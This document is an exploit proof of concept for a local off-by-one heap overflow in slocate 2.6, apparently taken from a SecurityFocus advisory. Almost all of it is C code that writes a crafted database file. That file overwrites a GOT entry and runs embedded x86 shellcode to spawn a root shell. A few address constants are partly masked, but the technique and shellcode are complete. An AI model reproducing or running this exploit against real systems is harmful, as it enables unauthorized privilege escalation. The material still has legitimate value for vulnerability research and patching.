SLocate 2.6 - User-Supplied Database Heap Overflow

// source: https://www.securityfocus.com/bid/8780/info

It has been reported that a local off-by-one heap overflow exists in the handling of user-supplied databases by slocate. Because of this, an attacker may be able to gain elevated privileges. 

#include <stdio.h>

#define CODEDPATH   0x0805**20
#define DATABASE    0x4002**08
#define JUMP_BY     0x38
#define GOT_CLOSE   "\x5c\x**\x04\x08"


#define CODED_LENGTH    0x1008
#define PATTERN_LENGTH  0x508


#define STEP_LENGTH 0x1000000



int path_len = 0;
int file_pos = 0;

FILE *f;

void write_buffer(int move,char *buffer,int len,int stop)
{
  char b[3];

  if (move > 127 || move < -127)
  {
    b[0] = -128;
    b[1] = (char)(move >> 8);
    b[2] = (char)(move % 256);
    fwrite(b,1,3,f);
    file_pos += 3;
  }
  else
  {
    b[0] = (char)move;
    fwrite(b,1,1,f);
    file_pos += 1;
  }

  if (stop)
    buffer[len] = 0;

  fwrite(buffer,1,len + 1,f);
  file_pos += len + 1;
  path_len += move;
}

void skip_to_filepos(int move,int pos)
{
  char b[1024];

  while (pos > file_pos + 1002)
  {
    memset(b,'A',998);
    write_buffer(move,b,998,1);
  }

  write_buffer(move,b,pos - file_pos - 2,1);
}

void write_to_addr(int address,char *str)
{
  write_buffer((address - CODEDPATH) - path_len,str,strlen(str),0);
}

void write_int(char *buffer,int n)
{
  int i;
  for (i=0;i<4;i++)
  {
    buffer[i] = (char)(n % 256);
    n >>= 8;

    if (buffer[i] == 0)
    {
      printf("Warning, zero byte!\n");
      exit(-1);
    }
  }
}

int main(int argc,char **argv)
{
  char b[32768];
  int i;

  f = fopen("test.db","w");

  b[0] = '0';
  fwrite(b,1,1,f);

  write_buffer(0,b,0,1);

  skip_to_filepos(0,CODEDPATH - 8 + CODED_LENGTH + JUMP_BY * STEP_LENGTH - DATABASE);


  memset(b,0,8);
  b[4] = 17;
  memset(b + 8,0,8);
  fwrite(b,1,16,f);
  fwrite(b,1,16,f);
  file_pos += 32;
  path_len += 34;

  skip_to_filepos(0,file_pos + 1000000);

  b[0] = JUMP_BY;
  b[1] = 'A';
  write_buffer(-path_len - 1,b,2,1);

  memset(b,'A',2);
  write_buffer(16384,b,2,1);

  write_to_addr(CODEDPATH + CODED_LENGTH - 3,"\x05");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8,"");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 1,"");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 2,"");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 3,"");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 4,"\x11");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 6,"");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 7,"");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH,GOT_CLOSE);

  write_int(b,CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 16);
  b[4] = 0;
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 4,b);

  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 8,"\x10");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 10,"");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 11,"");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 12,"\x10");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 14,"");
  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 15,"");

  write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 16,

"\x31\xc0\x31\xdb\xb3\x15\xeb\x23\x90\x90\x90\x90\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\
x89\xd8\x40\xcd\x80\x89\xd9\xb0\x47\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh");
  fclose(f);
}